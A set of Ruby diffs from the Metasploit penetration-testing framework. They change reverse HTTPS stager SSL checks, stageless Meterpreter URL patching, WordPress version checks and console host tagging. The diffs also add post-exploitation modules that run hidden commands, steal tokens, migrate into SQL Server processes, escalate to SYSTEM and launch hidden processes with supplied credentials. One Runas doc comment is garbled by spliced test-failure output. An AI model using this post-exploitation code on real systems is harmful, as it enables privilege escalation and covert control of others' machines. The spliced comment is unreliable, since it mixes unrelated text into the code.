encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
|
||||
end
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'msf/core/payload/windows/verify_ssl'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -17,6 +17,7 @@ module Msf
|
|||
module Payload::Windows::ReverseWinHttps
|
||||
|
||||
include Msf::Payload::Windows::ReverseWinHttp
|
||||
include Msf::Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Register reverse_winhttps specific options
|
||||
|
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
|
|||
#
|
||||
def generate
|
||||
|
||||
verify_cert = false
|
||||
verify_cert_hash = nil
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
unless datastore['HandlerSSLCert']
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
|
||||
else
|
||||
verify_cert = true
|
||||
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
|
||||
unless hcert and hcert[0] and hcert[1]
|
||||
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
|
||||
end
|
||||
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
|
||||
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
|
||||
end
|
||||
end
|
||||
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
||||
datastore['HandlerSSLCert'])
|
||||
|
||||
# Generate the simple version of this stager if we don't have enough space
|
||||
if self.available_space.nil? || required_space > self.available_space
|
||||
|
||||
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
|
||||
if verify_cert_hash
|
||||
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
|
||||
end
|
||||
|
||||
|
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
|
|||
host: datastore['LHOST'],
|
||||
port: datastore['LPORT'],
|
||||
url: generate_small_uri,
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount'])
|
||||
end
|
||||
|
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
|
|||
port: datastore['LPORT'],
|
||||
url: generate_uri,
|
||||
exitfunk: datastore['EXITFUNC'],
|
||||
verify_cert: verify_cert,
|
||||
verify_cert_hash: verify_cert_hash,
|
||||
retry_count: datastore['StagerRetryCount']
|
||||
}
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
#-*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
|
|||
|
||||
# the URL might not be given, as it might be patched in some other way
|
||||
if url
|
||||
url = "s#{url}\x00"
|
||||
location = dll.index("https://#{'X' * 256}")
|
||||
if location
|
||||
dll[location, url.length] = url
|
||||
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
|
||||
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
|
||||
# If the patching failed this could mean that we are somehow
|
||||
# working with outdated binaries, so try to patch with the
|
||||
# old stuff.
|
||||
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,36 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/parser/x509_certificate'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# Implements SSL validation check options
|
||||
#
|
||||
###
|
||||
|
||||
module Payload::Windows::VerifySsl
|
||||
|
||||
#
|
||||
# Get the SSL hash from the certificate, if required.
|
||||
#
|
||||
def get_ssl_cert_hash(verify_cert, handler_cert)
|
||||
unless verify_cert.to_s =~ /^(t|y|1)/i
|
||||
return nil
|
||||
end
|
||||
|
||||
unless handler_cert
|
||||
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
|
||||
end
|
||||
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
|
||||
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
|
||||
hash
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,210 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/priv'
|
||||
require 'msf/core/exploit/mssql_commands'
|
||||
|
||||
module Msf
|
||||
class Post
|
||||
module Windows
|
||||
module MSSQL
|
||||
|
||||
# @return [String, nil] contains the identified SQL command line client
|
||||
attr_accessor :sql_client
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL_COMMANDS
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Priv
|
||||
|
||||
# Identifies the Windows Service matching the SQL Server instance name
|
||||
#
|
||||
# @param [String] instance the SQL Server instance name to locate
|
||||
# @return [Hash, nil] the Windows Service instance
|
||||
def check_for_sqlserver(instance = nil)
|
||||
target_service = nil
|
||||
each_service do |service|
|
||||
if instance.to_s.strip.empty?
|
||||
# Target default instance
|
||||
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
else
|
||||
if (
|
||||
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
|
||||
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
|
||||
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
|
||||
service[:display].downcase == instance.downcase # If the user gets very specific
|
||||
) &&
|
||||
service[:display] !~ /OLAPService|ADHelper/i &&
|
||||
service[:pid].to_i > 0
|
||||
target_service = service
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if target_service
|
||||
target_service.merge!(service_info(target_service[:name]))
|
||||
end
|
||||
|
||||
target_service
|
||||
end
|
||||
|
||||
# Identifies a valid SQL Server command line client on the host and sets
|
||||
# @sql_client
|
||||
#
|
||||
# @see #sql_client
|
||||
# @return [String, nil] the SQL command line client
|
||||
def get_sql_client
|
||||
client = nil
|
||||
|
||||
if check_sqlcmd
|
||||
client = 'sqlcmd'
|
||||
elsif check_osql
|
||||
client = 'osql'
|
||||
end
|
||||
|
||||
@sql_client = client
|
||||
client
|
||||
end
|
||||
|
||||
# Attempts to run the osql command line tool
|
||||
#
|
||||
# @return [Boolean] true if osql is present
|
||||
def check_osql
|
||||
result = run_cmd('osql -?')
|
||||
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
|
||||
end
|
||||
|
||||
# Attempts to run the sqlcmd command line tool
|
||||
#
|
||||
# @return [Boolean] true if sqlcmd is present
|
||||
def check_sqlcmd
|
||||
result = run_cmd('sqlcmd -?')
|
||||
result =~ /SQL Server Command Line Tool/i
|
||||
end
|
||||
|
||||
# Runs a SQL query using the identified command line tool
|
||||
#
|
||||
# @param [String] query the query to execute
|
||||
# @param [String] instance the SQL instance to target
|
||||
# @param [String] server the SQL server to target
|
||||
# @return [String] the result of query
|
||||
def run_sql(query, instance = nil, server = '.')
|
||||
target = server
|
||||
if instance && instance.downcase != 'mssqlserver'
|
||||
target = "#{server}\\#{instance}"
|
||||
end
|
||||
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
|
||||
vprint_status(cmd)
|
||||
run_cmd(cmd)
|
||||
end
|
||||
|
||||
# Executes a hidden command
|
||||
#
|
||||
# @param [String] cmd the command line to execute
|
||||
# @param [Boolean] token use the current thread token
|
||||
# @return [String] the results from the command
|
||||
#
|
||||
# @note This may fail as SYSTEM if the current process
|
||||
# doesn't have sufficient privileges to duplicate a token,
|
||||
# e.g. SeAssignPrimaryToken
|
||||
def run_cmd(cmd, token = true)
|
||||
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
|
||||
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
|
||||
res = ""
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
res << d
|
||||
end
|
||||
process.channel.close
|
||||
process.close
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Attempts to impersonate the user of the supplied service
|
||||
# If the process has the appropriate privileges it will attempt to
|
||||
# steal a token to impersonate, otherwise it will attempt to migrate
|
||||
# into the service process.
|
||||
#
|
||||
# @note This may cause the meterpreter session to migrate!
|
||||
#
|
||||
# @param [Hash] service the service to target
|
||||
# @return [Boolean] true if impersonated successfully
|
||||
def impersonate_sql_user(service)
|
||||
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
|
||||
|
||||
pid = service[:pid]
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
current_privs = client.sys.config.getprivs
|
||||
if current_privs.include?('SeImpersonatePrivilege') ||
|
||||
current_privs.include?('SeTcbPrivilege') ||
|
||||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
|
||||
username = nil
|
||||
session.sys.process.each_process do |process|
|
||||
if process['pid'] == pid
|
||||
username = process['user']
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
return false unless username
|
||||
|
||||
session.core.use('incognito') unless session.incognito
|
||||
vprint_status("Attemping to impersonate user: #{username}")
|
||||
res = session.incognito.incognito_impersonate_token(username)
|
||||
|
||||
if res =~ /Successfully/i
|
||||
print_good("Impersonated user: #{username}")
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
else
|
||||
# Attempt to migrate to target sqlservr.exe process
|
||||
# Migrating works, but I can't rev2self after its complete
|
||||
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
|
||||
begin
|
||||
session.core.migrate(pid)
|
||||
rescue Rex::RuntimeError => e
|
||||
print_error(e.to_s)
|
||||
return false
|
||||
end
|
||||
|
||||
vprint_status("Current user: #{session.sys.config.getuid}")
|
||||
print_good("Successfully migrated to sqlservr.exe process #{pid}")
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Attempts to escalate the meterpreter session to SYSTEM
|
||||
#
|
||||
# @return [Boolean] true if escalated successfully or user is already SYSTEM
|
||||
def get_system
|
||||
print_status("Checking if user is SYSTEM...")
|
||||
|
||||
if is_system?
|
||||
print_good("User is SYSTEM")
|
||||
return true
|
||||
else
|
||||
# Attempt to get LocalSystem privileges
|
||||
print_warning("Attempting to get SYSTEM privileges...")
|
||||
system_status = session.priv.getsystem
|
||||
if system_status && system_status.first
|
||||
print_good("Success, user is now SYSTEM")
|
||||
return true
|
||||
else
|
||||
print_error("Unable to obtained SYSTEM privileges")
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
end # MSSQL
|
||||
end # Windows
|
||||
end # Post
|
||||
end # Msf
|
|
@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
|
|||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Powershell
|
||||
include Msf::Post::Windows::Error
|
||||
|
||||
ERROR = Msf::Post::Windows::Error
|
||||
MAX_PATH = 260
|
||||
STARTF_USESHOWWINDOW = 0x00000001
|
||||
SW_HIDE = 0
|
||||
|
||||
def shell_execute_exe(filename = nil, path = nil)
|
||||
exe_payload = generate_payload_exe
|
||||
|
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
|
|||
select(nil, nil, nil, 1) until session_created?
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create a STARTUP_INFO struct for use with CreateProcessA
|
||||
#
|
||||
# This struct will cause the process to be hidden
|
||||
#
|
||||
# @return [String] STARTUP_INFO struct
|
||||
#
|
||||
def startup_info
|
||||
[0, # cb
|
||||
0, # lpReserved
|
||||
0, # lpDesktop
|
||||
0, # lpTitle
|
||||
0, # dwX
|
||||
0, # dwY
|
||||
0, # dwXSize
|
||||
0, # dwYSize
|
||||
0, # dwXCountChars
|
||||
0, # dwYCountChars
|
||||
0, # dwFillAttribute
|
||||
STARTF_USESHOWWINDOW, # dwFlags
|
||||
SW_HIDE, # wShowWindow
|
||||
0, # cbReserved2
|
||||
0, # lpReserved2
|
||||
0, # hStdInput
|
||||
0, # hStdOutput
|
||||
0 # hStdError
|
||||
].pack('VVVVVVVVVVVVvvVVVV')
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessWithLogonW to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# @note The caller should clear up the handles returned in
|
||||
# the PROCESS_INFORMATION @return hash.
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] The executable to be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
#
|
||||
def create_process_with_logon(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 1024)
|
||||
|
||||
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
|
||||
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON_WITH_PROFILE',
|
||||
application_name,
|
||||
command_line,
|
||||
'CREATE_UNICODE_ENVIRONMENT',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
if create_process['return']
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
|
||||
end
|
||||
|
||||
pi
|
||||
end
|
||||
|
||||
#
|
||||
# Call CreateProcessAsUser to start a process with the supplier
|
||||
# user credentials
|
||||
#
|
||||
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
|
||||
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
|
||||
#
|
||||
# This will normally error with 0xc000142 on later OS's (Vista+?) for
|
||||
# gui apps but is ok for firing off cmd.exe...
|
||||
#
|
||||
# @param domain [String] The target user domain
|
||||
# @param user [String] The target user
|
||||
# @param password [String] The target user password
|
||||
# @param application_name [String] Thn executableived :CloseHandle
|
||||
# with unexpected arguments
|
||||
# expected: ("testPhToken")
|
||||
# got: (n be run, can be
|
||||
# nil
|
||||
# @param command_line [String] The command line or process arguments
|
||||
#
|
||||
# @return [Hash, nil] The values from the process_information struct
|
||||
#
|
||||
def create_process_as_user(domain, user, password, application_name, command_line)
|
||||
return unless check_user_format(user, domain)
|
||||
return unless check_command_length(application_name, command_line, 32000)
|
||||
|
||||
vprint_status("Executing LogonUserA...")
|
||||
logon_user = session.railgun.advapi32.LogonUserA(user,
|
||||
domain,
|
||||
password,
|
||||
'LOGON32_LOGON_INTERACTIVE',
|
||||
'LOGON32_PROVIDER_DEFAULT',
|
||||
4)
|
||||
|
||||
if logon_user['return']
|
||||
begin
|
||||
ph_token = logon_user['phToken']
|
||||
vprint_status("Executing CreateProcessAsUserA...")
|
||||
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
|
||||
application_name,
|
||||
command_line,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
'CREATE_NEW_CONSOLE',
|
||||
nil,
|
||||
nil,
|
||||
startup_info,
|
||||
16)
|
||||
|
||||
if create_process['return']
|
||||
begin
|
||||
pi = parse_process_information(create_process['lpProcessInformation'])
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(pi[:process_handle])
|
||||
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
|
||||
end
|
||||
print_good("Process started successfully, PID: #{pi[:process_id]}")
|
||||
else
|
||||
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
|
||||
end
|
||||
|
||||
return pi
|
||||
ensure
|
||||
session.railgun.kernel32.CloseHandle(ph_token)
|
||||
end
|
||||
else
|
||||
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
#
|
||||
# Parse the PROCESS_INFORMATION struct
|
||||
#
|
||||
# @param process_information [String] The PROCESS_INFORMATION value
|
||||
# from the CreateProcess call
|
||||
#
|
||||
# @return [Hash] The values from the process_information struct
|
||||
#
|
||||
def parse_process_information(process_information)
|
||||
fail ArgumentError, 'process_information is nil' if process_information.nil?
|
||||
fail ArgumentError, 'process_information is empty string' if process_information.empty?
|
||||
|
||||
pi = process_information.unpack('VVVV')
|
||||
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the username and domain is in the correct format
|
||||
# for the CreateProcess_x WinAPI calls.
|
||||
#
|
||||
# @param username [String] The target user
|
||||
# @param domain [String] The target user domain
|
||||
#
|
||||
# @raise [ArgumentError] If the username format is incorrect
|
||||
#
|
||||
# @return [True] True if username is in the correct format
|
||||
#
|
||||
def check_user_format(username, domain)
|
||||
fail ArgumentError, 'username is nil' if username.nil?
|
||||
|
||||
if domain && username.include?('@')
|
||||
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
#
|
||||
# Checks the command_length parameter is the correct length
|
||||
# for the CreateProcess_x WinAPI calls depending on the presence
|
||||
# of application_name
|
||||
#
|
||||
# @param application_name [String] lpApplicationName
|
||||
# @param command_line [String] lpCommandLine
|
||||
# @param max_length [Integer] The max command length of the respective
|
||||
# CreateProcess function
|
||||
#
|
||||
# @raise [ArgumentError] If the command_line is too large
|
||||
#
|
||||
# @return [True] True if the command_line is within the correct bounds
|
||||
#
|
||||
def check_command_length(application_name, command_line, max_length)
|
||||
fail ArgumentError, 'max_length is nil' if max_length.nil?
|
||||
|
||||
if application_name.nil? && command_line.nil?
|
||||
raise ArgumentError, 'Both application_name and command_line are nil'
|
||||
elsif command_line && command_line.length > max_length
|
||||
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
|
||||
elsif application_name.nil? && command_line
|
||||
cl = command_line.split(' ')
|
||||
if cl[0] && cl[0].length > MAX_PATH
|
||||
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
|
|||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] plugin_name The name of the plugin
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks the style.css file for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
|
||||
res = send_request_cgi(
|
||||
'uri' => style_uri,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# No style.css file present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
|
||||
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
# Checks a readme for a vulnerable version
|
||||
#
|
||||
# @param [String] theme_name The name of the theme
|
||||
# @param [String] fixed_version The version the vulnerability was fixed in
|
||||
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
|
||||
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
|
||||
#
|
||||
# @return [ Msf::Exploit::CheckCode ]
|
||||
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
|
||||
end
|
||||
|
||||
|
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
|
|||
nil
|
||||
end
|
||||
|
||||
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
|
||||
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :plugin
|
||||
folder = 'plugins'
|
||||
|
@ -99,21 +119,57 @@ module Msf::HTTP::Wordpress::Version
|
|||
'uri' => readme_url,
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
# no Readme.txt present
|
||||
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
|
||||
end
|
||||
|
||||
# try to extract version from readme
|
||||
if res.nil? || res.code != 200
|
||||
# No readme.txt or Readme.txt present for plugin
|
||||
return Msf::Exploit::CheckCode::Unknown if type == :plugin
|
||||
|
||||
# Try again using the style.css file
|
||||
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
|
||||
end
|
||||
|
||||
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
|
||||
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
|
||||
# If no version could be found in readme.txt for a theme, try style.css
|
||||
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
|
||||
else
|
||||
return version_res
|
||||
end
|
||||
end
|
||||
|
||||
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
|
||||
case type
|
||||
when :readme
|
||||
# Try to extract version from readme
|
||||
# Example line:
|
||||
# Stable tag: 2.6.6
|
||||
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
|
||||
when :style
|
||||
# Try to extract version from style.css
|
||||
# Example line:
|
||||
# Version: 1.5.2
|
||||
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
|
||||
else
|
||||
fail("Unknown file type #{type}")
|
||||
end
|
||||
|
||||
# readme present, but no version number
|
||||
# Could not identify version number
|
||||
return Msf::Exploit::CheckCode::Detected if version.nil?
|
||||
|
||||
vprint_status("#{peer} - Found version #{version} of the #{type}")
|
||||
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
|
||||
|
||||
if fixed_version.nil?
|
||||
if vuln_introduced_version.nil?
|
||||
# All versions are vulnerable
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
|
||||
# Newer or equal to the version it was introduced
|
||||
return Msf::Exploit::CheckCode::Appears
|
||||
else
|
||||
return Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
else
|
||||
# Version older than fixed version
|
||||
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
|
||||
if vuln_introduced_version.nil?
|
||||
|
@ -132,3 +188,4 @@ module Msf::HTTP::Wordpress::Version
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -2973,11 +2973,18 @@ class Core
|
|||
res << addr
|
||||
end
|
||||
when 'LHOST'
|
||||
rh = self.active_module.datastore["RHOST"]
|
||||
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
|
||||
if rh and not rh.empty?
|
||||
res << Rex::Socket.source_address(rh)
|
||||
else
|
||||
res << Rex::Socket.source_address()
|
||||
res << Rex::Socket.source_address
|
||||
# getifaddrs was introduced in 2.1.2
|
||||
if Socket.respond_to?(:getifaddrs)
|
||||
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
|
||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
|
||||
}
|
||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
||||
end
|
||||
end
|
||||
else
|
||||
end
|
||||
|
|
|
@ -220,6 +220,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_info(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host info, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -230,6 +235,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_name(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the host name, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -240,6 +250,11 @@ class Db
|
|||
end
|
||||
|
||||
def change_host_comment(rws, data)
|
||||
if rws == [nil]
|
||||
print_error("In order to change the comment, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
id = framework.db.get_host(:address => ip).id
|
||||
|
@ -249,12 +264,59 @@ class Db
|
|||
end
|
||||
end
|
||||
|
||||
def add_host_tag(rws, tag_name)
|
||||
if rws == [nil]
|
||||
print_error("In order to add a tag, you must provide a range of hosts")
|
||||
return
|
||||
end
|
||||
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
wspace = framework.db.workspace
|
||||
host = framework.db.get_host(:workspace => wspace, :address => ip)
|
||||
if host
|
||||
possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
|
||||
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
|
||||
tag.name = tag_name
|
||||
tag.hosts = [host]
|
||||
tag.save! if tag.changed?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def delete_host_tag(rws, tag_name)
|
||||
wspace = framework.db.workspace
|
||||
tag_ids = []
|
||||
if rws == [nil]
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
else
|
||||
rws.each do |rw|
|
||||
rw.each do |ip|
|
||||
found_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name)
|
||||
found_tags.each do |t|
|
||||
tag_ids << t.id
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tag_ids.each do |id|
|
||||
tag = Mdm::Tag.find_by_id(id)
|
||||
tag.hosts.delete
|
||||
tag.destroy
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_hosts(*args)
|
||||
return unless active?
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
onlyup = false
|
||||
set_rhosts = false
|
||||
mode = :search
|
||||
mode = []
|
||||
delete_count = 0
|
||||
|
||||
rhosts = []
|
||||
|
@ -263,7 +325,8 @@ class Db
|
|||
|
||||
output = nil
|
||||
default_columns = ::Mdm::Host.column_names.sort
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace' ]
|
||||
default_columns << 'tags' # Special case
|
||||
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||
|
||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||
|
||||
|
@ -271,9 +334,9 @@ class Db
|
|||
while (arg = args.shift)
|
||||
case arg
|
||||
when '-a','--add'
|
||||
mode = :add
|
||||
mode << :add
|
||||
when '-d','--delete'
|
||||
mode = :delete
|
||||
mode << :delete
|
||||
when '-c'
|
||||
list = args.shift
|
||||
if(!list)
|
||||
|
@ -297,14 +360,17 @@ class Db
|
|||
when '-S', '--search'
|
||||
search_term = /#{args.shift}/nmi
|
||||
when '-i', '--info'
|
||||
mode = :new_info
|
||||
mode << :new_info
|
||||
info_data = args.shift
|
||||
when '-n', '--name'
|
||||
mode = :new_name
|
||||
mode << :new_name
|
||||
name_data = args.shift
|
||||
when '-m', '--comment'
|
||||
mode = :new_comment
|
||||
mode << :new_comment
|
||||
comment_data = args.shift
|
||||
when '-t', '--tag'
|
||||
mode << :tag
|
||||
tag_name = args.shift
|
||||
when '-h','--help'
|
||||
print_line "Usage: hosts [ options ] [addr1 addr2 ...]"
|
||||
print_line
|
||||
|
@ -320,6 +386,7 @@ class Db
|
|||
print_line " -i,--info Change the info of a host"
|
||||
print_line " -n,--name Change the name of a host"
|
||||
